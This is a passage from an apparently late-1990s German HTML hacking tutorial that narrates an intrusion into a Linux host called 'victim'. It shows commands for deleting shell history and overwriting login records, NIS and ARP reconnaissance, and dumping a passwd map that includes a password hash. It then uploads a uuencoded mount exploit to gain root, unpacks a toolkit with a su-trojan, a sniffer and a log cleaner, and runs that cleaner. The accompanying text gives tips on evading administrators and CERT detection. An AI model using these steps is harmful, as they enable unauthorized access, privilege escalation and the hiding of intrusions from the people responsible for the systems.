  1182. <p><font color="#FF0000">victim:/home/johnny > rlogin victim</font>
  1183. <br><font color="#FF0000">Password:</font>
  1184. <br><font color="#FF0000">Have a lot of fun...</font>
  1185. <br><font color="#FF0000">Last login: Wed Jun 17 19:16:07 on ttyp4 from
  1186. source.ass.com.</font>
  1187. <br><font color="#FF0000">No mail</font>
  1188. <br><font color="#FF0000">victim:/home/johnny > exit</font>
  1189. <br><font color="#FF0000">rlogin: connection closed.</font>
  1190. <br><font color="#FF0000">victim:/home/johnny > csh -f</font>
  1191. <br><font color="#FF0000">victim % ls -altr</font>
  1192. <br><font color="#FF0000">[...]</font>
  1193. <br><font color="#FF0000">-rw-------&nbsp;&nbsp; 1 test&nbsp;&nbsp;&nbsp;&nbsp;
  1194. users&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 450 Jul&nbsp; 6 11:38
  1195. .bash_history</font>
  1196. <br><font color="#FF0000">victim % unset HISTFILE</font>
  1197. <br><font color="#FF0000">victim % cat /dev/zero > .bash_history</font>
  1198. <br><font color="#FF0000">^C</font>
  1199. <br><font color="#FF0000">victim % rm .bash_history</font>
  1200. <p><font color="#000000">Ja, alles was wir hier gemacht haben ist unsere
  1201. Spuren etwas zu verschleiern und das ohne root-Rechte. Durch <b>rlogin</b>
  1202. (<b>telnet</b> geht natuerlich auch) koennen wir unseren Lastlog-Entry
  1203. ueberschreiben und was absolut wichtig ist, ist dass das History-File geloescht
  1204. wird; und um kein neues File zu erzeugen rufen wir die <b>csh</b> auf,
  1205. die per default kein History-File erstellt (wenn der User die <b>csh</b>
  1206. benutzt kannst du auch die Bourne-Shell <b>sh</b> verwenden, aber vorsicht,
  1207. denn unter Linux z.B. ist </font><font color="#33FF33">/bin/sh</font><font color="#000000">ein
  1208. <i>Link
  1209. </i>auf
  1210. </font><font color="#33FF33">/bin/bash</font><font color="#000000">).</font>
  1211. <br><font color="#000000">Das History-File musst du unbedingt am Anfang
  1212. deiner Sitzung loeschen, denn wenn der Admin dich bemerkt und einen <i>Hard-Link
  1213. </i>auf
  1214. das File macht, dann bleiben die Daten auf der HD erhalten und der Admin
  1215. kann ueber den <i>Hard-Link</i> darauf zugreifen.</font>
  1216. <br><font color="#000000">Falls <b>login</b> SUID root installiert ist,
  1217. hast du die Moeglichkeit auch dein </font><font color="#33FF33">utmp</font><font color="#000000">[</font><font color="#33FF33">x</font><font color="#000000">]-Entry
  1218. zu ueberschreiben, dazu</font> <font color="#000000">rufst du einfach <b>login</b>
  1219. auf und loggst dich ein.</font>
  1220. <p><font color="#FF0000">victim % w</font>
  1221. <br>&nbsp;<font color="#FF0000">&nbsp; 6:54pm&nbsp; up&nbsp; 6:43h,&nbsp;
  1222. 1 users,&nbsp; load average: 0.08, 0.09, 0.08</font>
  1223. <br><font color="#FF0000">USER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TTY&nbsp;&nbsp;&nbsp;
  1224. LOGIN@&nbsp; IDLE&nbsp;&nbsp; JCPU&nbsp;&nbsp; PCPU&nbsp; WHAT</font>
  1225. <br><font color="#FF0000">johnny&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ttyp4&nbsp;&nbsp;
  1226. 6:35pm&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0:01&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1227. 0:00&nbsp;&nbsp;&nbsp;&nbsp; 0:00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1228. w</font>
  1229. <p><font color="#FF0000">victim % ps au</font>
  1230. <br><font color="#FF0000">USER&nbsp;&nbsp; PID %CPU %MEM&nbsp;&nbsp; VSZ&nbsp;&nbsp;
  1231. RSS&nbsp; TT STAT&nbsp; START&nbsp;&nbsp; TIME COMMAND</font>
  1232. <br><font color="#FF0000">root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 144&nbsp;&nbsp;&nbsp;
  1233. 0.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1234. 800&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 24&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1235. S&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 12:12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1236. 0:00&nbsp;&nbsp;&nbsp;&nbsp; mingetty</font>
  1237. <br><font color="#FF0000">root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 145&nbsp;&nbsp;&nbsp;
  1238. 0.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1239. 800&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 8&nbsp;&nbsp;&nbsp;
  1240. 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; S&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1241. 12:12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0:00&nbsp;&nbsp;&nbsp;&nbsp;
  1242. mingetty</font>
  1243. <br><font color="#FF0000">root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 146&nbsp;&nbsp;&nbsp;
  1244. 0.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1245. 800&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 28&nbsp;&nbsp;&nbsp; 3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1246. S&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 12:12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1247. 0:00&nbsp;&nbsp;&nbsp;&nbsp; mingetty</font>
  1248. <br><font color="#FF0000">root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 147&nbsp;&nbsp;&nbsp;
  1249. 0.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1250. 800&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;
  1251. 4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SW&nbsp;&nbsp;&nbsp; 12:12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1252. 0:00&nbsp;&nbsp;&nbsp;&nbsp; mingetty</font>
  1253. <br><font color="#FF0000">root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 148&nbsp;&nbsp;&nbsp;
  1254. 0.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1255. 800&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;
  1256. 5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SW&nbsp;&nbsp;&nbsp; 12:12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1257. 0:00&nbsp;&nbsp;&nbsp;&nbsp; mingetty</font>
  1258. <br><font color="#FF0000">root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 149&nbsp;&nbsp;&nbsp;
  1259. 0.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1260. 800&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;
  1261. 6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SW&nbsp;&nbsp;&nbsp; 12:12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1262. 0:00&nbsp;&nbsp;&nbsp;&nbsp; mingetty</font>
  1263. <br><font color="#FF0000">johnny 1641&nbsp;&nbsp;&nbsp; 0.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1264. 4.6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1748&nbsp;&nbsp; 1064&nbsp; p4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1265. S&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 18:35&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1266. 0:00&nbsp;&nbsp;&nbsp;&nbsp; -bash</font>
  1267. <br><font color="#FF0000">johnny 1691&nbsp;&nbsp;&nbsp; 0.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1268. 1.7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 928&nbsp;&nbsp;&nbsp; 408&nbsp;&nbsp;
  1269. p4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; R&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1270. 18:57&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0:00&nbsp;&nbsp;&nbsp;&nbsp;
  1271. ps au</font>
  1272. <p><font color="#000000">Hier ueberpruefen wir nochmal genau ob nicht doch
  1273. ein Admin eingeloggt ist, der <b>fingerd</b> modifiziert oder seine Eintraege
  1274. aus </font><font color="#33FF33">w</font><font color="#000000">/</font><font color="#33FF33">utmp</font><font color="#000000">[</font><font color="#33FF33">x</font><font color="#000000">]
  1275. geloescht hat. Wie es aussieht ist 'johnny' der einzige User, der online
  1276. ist.</font>
  1277. <p><font color="#FF0000">victim % domainname</font>
  1278. <br><font color="#FF0000">korn.domain.nis</font>
  1279. <br><font color="#FF0000">victim %&nbsp; ypwhich</font>
  1280. <br><font color="#FF0000">chi</font>
  1281. <br><font color="#FF0000">victim % ypcat ypservers</font>
  1282. <br><font color="#FF0000">chi</font>
  1283. <br><font color="#FF0000">fieldy</font>
  1284. <p><font color="#000000">So, als erstes holen wir uns Infos ueber deren
  1285. NIS. Den NIS-Domainname und den NIS-Server koennen wir spaeter benutzen
  1286. um diverse NIS-Maps zu transferieren; z.B. die <i>Passwd-Map </i>nachdem
  1287. wir rausgeflogen sind. NIS ist fast zu 100% in den Domains installiert.
  1288. Nur wenige benutzen rdist, NIS+ oder DCE. Ein Program, das uns den Zugriff
  1289. auf den NIS-Server ermoeglich heisst <b>ypx</b>.</font>
  1290. <p><font color="#FF0000">victim% arp -a</font>
  1291. <br><font color="#FF0000">fred.domain.com (10.255.0.4) at 00:C0:24:A4:3B:B2
  1292. [ether] on eth0</font>
  1293. <br><font color="#FF0000">bambam.domain.com (10.255.0.3) at 00:00:0C:A1:32:F2
  1294. [ether] on eth0</font>
  1295. <br><font color="#FF0000">hombre.domain.com (10.255.0.43) at 08:00:02:C1:FB:32
  1296. [ether] on eth0</font>
  1297. <br><font color="#FF0000">deep.domain.com (10.255.0.24) at 00:05:02:E1:12:B2
  1298. [ether] on eth0</font>
  1299. <br><font color="#FF0000">[...]</font>
  1300. <p><font color="#000000">Ein kurzer Blick in den ARP Cache des Rechners
  1301. zeigt uns welche Hardware im Netz verwendet wird. Die ersten drei Bytes
  1302. der Ethernet-Adresse sind ein Indikator fuer den Hersteller der Netzkarte.</font>
  1303. <br><font color="#000000">fred -> unbekannt, evtl. PC</font>
  1304. <br><font color="#000000">bambam -> Cisco Router</font>
  1305. <br><font color="#000000">hombre -> Sun Microsystems</font>
  1306. <br><font color="#000000">deep -> Apple Mac.</font>
  1307. <br><font color="#000000">Natuerlich gibt's noch andere bekannte Hersteller:
  1308. HP, SGI, Cray...</font>
  1309. <p><font color="#FF0000">victim% uname -a</font>
  1310. <br><font color="#FF0000">Linux wallace 2.0.33 #4 Sun Jul 6 11:43:22 MEST
  1311. 1998 686 unknown</font>
  1312. <br><font color="#FF0000">victim % ypcat passwd</font>
  1313. <br><font color="#FF0000">proj:FbxcM/NyIxf7w:501:100:Project Account:/home/proj:/bin/bash</font>
  1314. <br><font color="#FF0000">test:x:502:100:Test Account:/home/test:/bin/bash</font>
  1315. <br><font color="#FF0000">[...]</font>
  1316. <p><font color="#FF0000">victim % cat /etc/passwd</font>
  1317. <br><font color="#FF0000">root:x:0:0:root:/root:/bin/bash</font>
  1318. <br><font color="#FF0000">[...]</font>
  1319. <p><font color="#FF0000">victim % ypcat group</font>
  1320. <br><font color="#FF0000">root:x:0:root</font>
  1321. <br><font color="#FF0000">bin:x:1:root,bin,daemon</font>
  1322. <br><font color="#FF0000">daemon:x:2:</font>
  1323. <br><font color="#FF0000">tty:x:5:</font>
  1324. <br><font color="#FF0000">[...]</font>
  1325. <p><font color="#FF0000">victim % cat /etc/group</font>
  1326. <br><font color="#FF0000">root:x:0:root</font>
  1327. <br><font color="#FF0000">bin:x:1:root,bin,daemon</font>
  1328. <br><font color="#FF0000">daemon:x:2:</font>
  1329. <br><font color="#FF0000">tty:x:5:</font>
  1330. <br><font color="#FF0000">[...]</font>
  1331. <p><font color="#FF0000">victim % ypcat hosts</font>
  1332. <br><font color="#FF0000">127.0.0.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1333. localhost</font>
  1334. <br><font color="#FF0000">[...]</font>
  1335. <p><font color="#FF0000">victim % cat /etc/hosts</font>
  1336. <br><font color="#FF0000">127.0.0.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1337. localhost</font>
  1338. <br><font color="#FF0000">[...]</font>
  1339. <p><font color="#FF0000">victim % cat /etc/syslog.conf</font>
  1340. <br><font color="#FF0000"># /etc/syslog.conf - Configuration file for syslogd(8)</font>
  1341. <br><font color="#FF0000">#</font>
  1342. <br><font color="#FF0000"># For info about the format of this file, see
  1343. "man syslog.conf".</font>
  1344. <br><font color="#FF0000">#</font>
  1345. <br><font color="#FF0000">#</font>
  1346. <br><font color="#FF0000">#</font>
  1347. <br><font color="#FF0000"># print most on tty10</font>
  1348. <br><font color="#FF0000">kern.warn;*.err;authpriv.none&nbsp;&nbsp; /dev/tty10</font>
  1349. <br><font color="#FF0000">*.emerg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1350. *</font>
  1351. <br><font color="#FF0000">[...]</font>
  1352. <p><font color="#FF0000">victim % cat&nbsp; /etc/inetd.conf</font>
  1353. <br><font color="#FF0000"># See "man 8 inetd" for more information.</font>
  1354. <br><font color="#FF0000">#</font>
  1355. <br><font color="#FF0000"># If you make changes to this file, either reboot
  1356. your machine or send the</font>
  1357. <br><font color="#FF0000"># inetd a HUP signal:</font>
  1358. <br><font color="#FF0000"># Do a "ps x" as root and look up the pid of
  1359. inetd. Then do a</font>
  1360. <br><font color="#FF0000"># "kill -HUP &lt;pid of inetd>".</font>
  1361. <br><font color="#FF0000"># The inetd will re-read this file whenever it
  1362. gets that signal.</font>
  1363. <br><font color="#FF0000">#</font>
  1364. <br><font color="#FF0000"># &lt;service_name> &lt;sock_type> &lt;proto>
  1365. &lt;flags> &lt;user> &lt;server_path> &lt;args></font>
  1366. <br><font color="#FF0000">#</font>
  1367. <br><font color="#FF0000"># echo&nbsp; stream&nbsp; tcp&nbsp;&nbsp;&nbsp;&nbsp;
  1368. nowait&nbsp; root&nbsp;&nbsp;&nbsp; internal</font>
  1369. <br><font color="#FF0000"># echo&nbsp; dgram&nbsp;&nbsp; udp&nbsp;&nbsp;&nbsp;&nbsp;
  1370. wait&nbsp;&nbsp;&nbsp; root&nbsp;&nbsp;&nbsp; internal</font>
  1371. <br><font color="#FF0000"># discard&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1372. stream&nbsp; tcp&nbsp;&nbsp;&nbsp;&nbsp; nowait&nbsp; root&nbsp;&nbsp;&nbsp;
  1373. internal</font>
  1374. <br><font color="#FF0000"># discard&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1375. dgram&nbsp;&nbsp; udp&nbsp;&nbsp;&nbsp;&nbsp; wait&nbsp;&nbsp;&nbsp; root&nbsp;&nbsp;&nbsp;
  1376. internal</font>
  1377. <br><font color="#FF0000"># daytime&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1378. stream&nbsp; tcp&nbsp;&nbsp;&nbsp;&nbsp; nowait&nbsp; root&nbsp;&nbsp;&nbsp;
  1379. internal</font>
  1380. <br><font color="#FF0000"># daytime&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1381. dgram&nbsp;&nbsp; udp&nbsp;&nbsp;&nbsp;&nbsp; wait&nbsp;&nbsp;&nbsp; root&nbsp;&nbsp;&nbsp;
  1382. internal</font>
  1383. <br><font color="#FF0000"># chargen&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1384. stream&nbsp; tcp&nbsp;&nbsp;&nbsp;&nbsp; nowait&nbsp; root&nbsp;&nbsp;&nbsp;
  1385. internal</font>
  1386. <br><font color="#FF0000"># chargen&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1387. dgram&nbsp;&nbsp; udp&nbsp;&nbsp;&nbsp;&nbsp; wait&nbsp;&nbsp;&nbsp; root&nbsp;&nbsp;&nbsp;
  1388. internal</font>
  1389. <br><font color="#FF0000"># time&nbsp; stream&nbsp; tcp&nbsp;&nbsp;&nbsp;&nbsp;
  1390. nowait&nbsp; root&nbsp;&nbsp;&nbsp; internal</font>
  1391. <br><font color="#FF0000"># time&nbsp; dgram&nbsp;&nbsp; udp&nbsp;&nbsp;&nbsp;&nbsp;
  1392. wait&nbsp;&nbsp;&nbsp; root&nbsp;&nbsp;&nbsp; internal</font>
  1393. <br><font color="#FF0000">[...]</font>
  1394. <p>Jetzt haben wir alle Informationen die wir benoetigen um die Log-Verwaltung
  1395. zu analysieren und um unseren Zugriff zu festigen/wiederzuerlangen.
  1396. <p><font color="#FF0000">victim % mkdir /tmp/".. "</font>
  1397. <br><font color="#FF0000">victim % cd /tmp/".. "</font>
  1398. <br><font color="#FF0000">victim % uudecode</font>
  1399. <br><font color="#FF0000">begin 644 mexpl.gz</font>
  1400. <br><font color="#FF0000">M"B,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C</font>
  1401. <br><font color="#FF0000">M(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,*(PD)"0D)"0D)</font>
  1402. <br><font color="#FF0000">M"2`@("`@(",*(PD@("`@(%5.25@@26YT97)A8W1I=F4@5&amp;]O;',@-"XR8B!C</font>
  1403. <br><font color="#FF0000">M;VYF:6=U&lt;F%T:6]N(&amp;9I;&amp;4)"2`@("`@(",*(PD@($-O&lt;'ER:6=H="`H8RD@</font>
  1404. <br><font color="#FF0000">M5'5D;W(@2'5L=6)E:2`F($%N9')E:2!0:71I&lt;RP@36%Y(#$Y.30)("`@("`@</font>
  1405. <br><font color="#FF0000">M"2`@("`@(",*(PD)"0D)"0D)"2`@("`@(",*(R,C(R,C(R,C(R,C(R,C(R,C</font>
  1406. <br><font color="#FF0000">M(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C</font>
  1407. <br><font color="#FF0000">M(R,C(R,C(R,C(R,C(R,C(PH*"B,*(R!X=&amp;5R;2!C;VYF:6=U&lt;F%T:6]N(&amp;9I</font>
  1408. <br><font color="#FF0000">M;&amp;4@*%@@=VEN9&amp;]W('-Y&lt;W1E;2DN"B,@268@>6]U(&amp;%R92!U&lt;VEN9R!C;VQO</font>
  1409. <br><font color="#FF0000">M&lt;E]X=&amp;5R;2!C;VYS:61E&lt;B!C:&amp;%N9VEN9R!,:6YU>$-O;G-O;&amp;4@86YD"B,@</font>
  1410. <br><font color="#FF0000">M0V]L;W)-;VYI=&amp;]R('1O($].+@HC"@H*(PHC("`M($EF("=,:6YU>$-O;&amp;]R</font>
  1411. <br><font color="#FF0000">[...]</font>
  1412. <br><font color="#FF0000">victim % ls -altr</font>
  1413. <br><font color="#FF0000">drwxr-xr-x&nbsp;&nbsp; 2 johnny users&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1414. 1024 Jul&nbsp; 6 11:39 .</font>
  1415. <br><font color="#FF0000">drwxrwxrwt&nbsp;&nbsp; 7 root&nbsp;&nbsp;&nbsp;&nbsp;
  1416. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul&nbsp; 6 11:39
  1417. ..</font>
  1418. <br><font color="#FF0000">-rw-r--r--&nbsp; 1 johnny users&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1419. 2345&nbsp; Jul&nbsp; 5&nbsp; 11:41 mexpl.gz</font>
  1420. <br><font color="#FF0000">victim % gunzip *.gz</font>
  1421. <br><font color="#FF0000">victim % chmod u+x mexpl</font>
  1422. <br><font color="#FF0000">victim % mexpl</font>
  1423. <br><font color="#FF0000">bash# whoami</font>
  1424. <br><font color="#FF0000">root</font>
  1425. <br><font color="#FF0000">bash# unset HISTFILE</font>
  1426. <br><font color="#FF0000">bash# rm ~/.bash_history</font>
  1427. <p><font color="#000000">Als erstes haben wir ein Arbeitsdirec. eingerichtet
  1428. und anschliessend wurde das Binary eines mount-Exploits,</font>
  1429. <br><font color="#000000">welches zuvor <b>uuencode</b>'d wurde, uebertragen.</font>
  1430. <br><font color="#000000">Das Transferieren des Images ist recht simpel
  1431. (Verwendung eines Terminalprog.s, keine PPP/IP Verbindung)</font>
  1432. <br><font color="#FF0000">needle > uuencode mexpl.gz mexpl.gz > /dev/modem</font>
  1433. <br><font color="#000000">Nur fuer den Fall, dass ich - aus welchen Gruenden
  1434. auch immer - den Compiler einses Systems nicht benutzen kann, sammel ich
  1435. von meinen Hackertools und Exploits die Binaries der verschiedenen Plattformen
  1436. um sie wie oben gezeigt zu uebertragen.</font>
  1437. <p><font color="#FF0000">bash# uudecode</font>
  1438. <br><font color="#FF0000">begin 644 tools.tar.gz</font>
  1439. <br><font color="#FF0000">M"B,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C</font>
  1440. <br><font color="#FF0000">M(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,*(PD)"0D)"0D)</font>
  1441. <br><font color="#FF0000">M"2`@("`@(",*(PD@("`@(%5.25@@26YT97)A8W1I=F4@5&amp;]O;',@-"XR8B!C</font>
  1442. <br><font color="#FF0000">M;VYF:6=U&lt;F%T:6]N(&amp;9I;&amp;4)"2`@("`@(",*(PD@($-O&lt;'ER:6=H="`H8RD@</font>
  1443. <br><font color="#FF0000">M5'5D;W(@2'5L=6)E:2`F($%N9')E:2!0:71I&lt;RP@36%Y(#$Y.30)("`@("`@</font>
  1444. <br><font color="#FF0000">M"2`@("`@(",*(PD)"0D)"0D)"2`@("`@(",*(R,C(R,C(R,C(R,C(R,C(R,C</font>
  1445. <br><font color="#FF0000">M(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C</font>
  1446. <br><font color="#FF0000">M(R,C(R,C(R,C(R,C(R,C(PH*"B,*(R!X=&amp;5R;2!C;VYF:6=U&lt;F%T:6]N(&amp;9I</font>
  1447. <br><font color="#FF0000">M;&amp;4@*%@@=VEN9&amp;]W('-Y&lt;W1E;2DN"B,@268@>6]U(&amp;%R92!U&lt;VEN9R!C;VQO</font>
  1448. <br><font color="#FF0000">M&lt;E]X=&amp;5R;2!C;VYS:61E&lt;B!C:&amp;%N9VEN9R!,:6YU>$-O;G-O;&amp;4@86YD"B,@</font>
  1449. <br><font color="#FF0000">M0V]L;W)-;VYI=&amp;]R('1O($].+@HC"@H*(PHC("`M($EF("=,:6YU>$-O;&amp;]R</font>
  1450. <br><font color="#FF0000">M0V]N&lt;V]L92&lt;@86YD("=#;VQO&lt;DUO;FET;W(G(&amp;%R92!B;W1H($].+"!;54E4</font>
  1451. <br><font color="#FF0000">M>'AX+4-O;&amp;]R70HC(&amp;1E&lt;V-R:7!T:6]N&lt;R!W:6QL(&amp;)E('5S960N"B,@("T@</font>
  1452. <br><font color="#FF0000">M268@>6]U(&amp;%R92!W;W)K:6YG(&amp;]N(&amp;$@3&amp;EN=7@@&lt;WES=&amp;5M(&amp;)U="!Y;W4@</font>
  1453. <br><font color="#FF0000">[...]</font>
  1454. <br><font color="#FF0000">bash# tar xvzf tools.tar.gz</font>
  1455. <br><font color="#FF0000">searcher</font>
  1456. <br><font color="#FF0000">smeagol_v4.4.4.tar</font>
  1457. <br><font color="#FF0000">clear13b.c</font>
  1458. <br><font color="#FF0000">su-trojan</font>
  1459. <br><font color="#FF0000">linsniffer.c</font>
  1460. <br><font color="#FF0000">srm.c</font>
  1461. <br><font color="#FF0000">ifconfig</font>
  1462. <br><font color="#FF0000">fix</font>
  1463. <br><font color="#FF0000">askhandle</font>
  1464. <br><font color="#FF0000">bash# gcc -o cb clear13b.c</font>
  1465. <br><font color="#FF0000">bash# ./cb johnny</font>
  1466. <br><font color="#FF0000">wtmp ... utmp ... lastlog ... Done!</font>
  1467. <br><font color="#FF0000">Last entry cleared from user johnny</font>
  1468. <br><font color="#FF0000">bash# w</font>
  1469. <br><font color="#FF0000">&nbsp; 3:28pm&nbsp; up&nbsp; 4:33h,&nbsp; 0 users,&nbsp;
  1470. load average: 0.42, 0.15, 0.04</font>
  1471. <br><font color="#FF0000">USER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TTY&nbsp;&nbsp;&nbsp;
  1472. LOGIN@&nbsp; IDLE&nbsp;&nbsp; JCPU&nbsp;&nbsp; PCPU&nbsp; WHAT</font>
  1473. <br><font color="#FF0000">bash#</font>
  1474. <p>Ziiip!... Mit <b>clear13b</b> haben wir unsere aktuellen Eintraege aus
  1475. <font color="#33FF33">w</font><font color="#000000">/</font><font color="#33FF33">utmp</font><font color="#000000">[</font><font color="#33FF33">x</font><font color="#000000">]</font>und
  1476. <font color="#33FF33">lastlog</font>
  1477. entfernt. Du solltest darauf aufpassen, dass dein Logcleaner keine Loecher
  1478. in den Dateien, d.h. die Eintraege einfach mit '0' ueberschreibt, hinterlaesst,
  1479. denn die koennen leicht von Programmen des CERT's entdeckt werden.
  1480. <br>Auf <i>Process-Accounting </i>musst du auch acht geben, denn dadurch
  1481. kann der Admin entdecken welche Programme du ausgefuehrt hast. Auch wenn
  1482. die Programme nicht ungewoehnlich aussehen sollten ist es immer noch sehr
  1483. auffaellig, wenn ein User, der keine Eintraege in den regulaeren Logfiles
  1484. besitzt, ein Programm <font color="#000000">aufgerufen</font> hat.
  1485. <br>Zum Glueck wird <i>Process-Accounting </i>nur selten benutzt, da das
  1486. Logfile sehr schnell waechst. Das Logfile heisst <font color="#33FF33">acct</font>
  1487. oder <font color="#33FF33">pacct</font> und befindet sich mit den anderen
  1488. Logfiles im selben Direc..
  1489. <br>Auf besonders schnellen/grossen Rechnern (Cray) ist das <i>Process-Accounting</i>
  1490. fast immer aktiv, da hier die User fuer ihre Rechenzeit bezahlen muessen.
  1491. <p><font color="#FF0000">bash# cd /var/log</font>
  1492. <br><font color="#FF0000">bash# ls -altr</font>
  1493. <br><font color="#FF0000">total 838</font>
  1494. <br><font color="#FF0000">drwxr-xr-x&nbsp; 20 root&nbsp;&nbsp;&nbsp;&nbsp;
  1495. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 May 28 19:58
  1496. ..</font>
  1497. <br><font color="#FF0000">-rw-r-----&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  1498. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1499. 0 May 28 21:01 news</font>
  1500. <br><font color="#FF0000">-rw-r--r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  1501. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 199 May 28 21:12
  1502. httpd.error_log</font>
  1503. <br><font color="#FF0000">-rw-r--r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  1504. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1505. 0 May 28 21:14 httpd.access_log</font>
  1506. <br><font color="#FF0000">-rw-r--r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  1507. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3925 May 28 21:53
  1508. Config.bootup</font>
